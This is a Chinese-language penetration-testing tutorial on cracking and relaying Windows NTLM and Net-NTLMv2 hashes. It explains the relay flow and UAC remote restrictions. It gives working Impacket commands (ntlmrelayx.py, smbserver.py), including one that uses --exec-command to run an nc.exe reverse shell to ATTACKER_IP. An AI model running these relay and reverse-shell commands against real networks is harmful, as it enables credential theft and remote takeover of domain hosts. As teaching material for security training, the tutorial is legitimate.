安全声明: 本文内容仅供合法的安全研究与学习使用,严禁用于非法用途。因不当操作引发的法律责任由使用者自行承担。
1. 密码破解
1.1 破解 Windows 哈希实践
在渗透测试中,获取并破解 Net-NTLMv2 哈希是常见路径之一。相比直接破解 NTLM 哈希,Net-NTLMv2 涉及挑战 - 响应机制,通常需要通过中间人攻击或欺骗手段捕获。
| 攻击类型 | 目标哈希 | 手法简介 |
|---|---|---|
| 获取并破解 NTLM 哈希 | NTLM 哈希 | 从内存或 SAM 数据库提取,使用 Hashcat 等工具离线破解 |
| 传递 NTLM 哈希 | NTLM 哈希 | 直接使用哈希进行身份验证,绕过密码需求 |
| 获取并破解 Net-NTLMv2 哈希 | Net-NTLMv2 哈希 | 通过中间人或欺骗获取挑战 - 响应包,离线破解 |
| 传递 Net-NTLMv2 哈希 | Net-NTLMv2 哈希 | 将捕获的哈希中继到另一台机器进行认证 |
1.1.4 传递 Net-NTLMv2 哈希概述
1.1.4.1 攻击背景
当域内用户访问恶意服务器(如 SMB 共享)时,Windows 会自动尝试使用当前凭据进行认证。如果攻击者控制了该服务器,就能捕获用户的 Net-NTLMv2 哈希。
1.1.4.2 攻击流程
- 搭建监听服务(如 SMB)。
- 诱使目标连接。
- 捕获哈希并中继到目标域控或其他服务。
1.1.4.3 UAC 远程限制与中继攻击关系解析
UAC(用户账户控制)会阻止某些远程管理员权限的提升。在中继攻击中,如果目标开启了远程 UAC 限制,即使哈希有效,也可能无法获得 SYSTEM 权限。
1.1.5 传递 Net-NTLMv2 哈希实践
1.1.5.1 攻击流程图
此处省略图示,逻辑上遵循:监听 -> 捕获 -> 中继 -> 执行。
1.1.5.2 使用 ntlmrelayx 捕获与中继
我们使用 Impacket 套件中的 ntlmrelayx.py 工具。它支持多种协议的中继,包括 SMB、LDAP 和 HTTP。
sudo ntlmrelayx.py -t smb://TARGET_IP -smb2support
这条命令会将捕获的哈希中继到指定的 SMB 目标。注意 -smb2support 参数用于兼容较新的 SMB 版本。
1.1.5.3 设置反向 Shell 监听器
为了获取交互权限,我们需要配置反弹 Shell。可以在 ntlmrelayx 启动时指定执行命令。
sudo ntlmrelayx.py -t smb://TARGET_IP --exec-command "nc.exe -e cmd.exe ATTACKER_IP 4444"
1.1.5.4 触发 SMB 连接
让目标主动连接我们的监听器。可以使用 smbserver.py 创建一个共享目录。
sudo smbserver.py share /tmp -smb2support


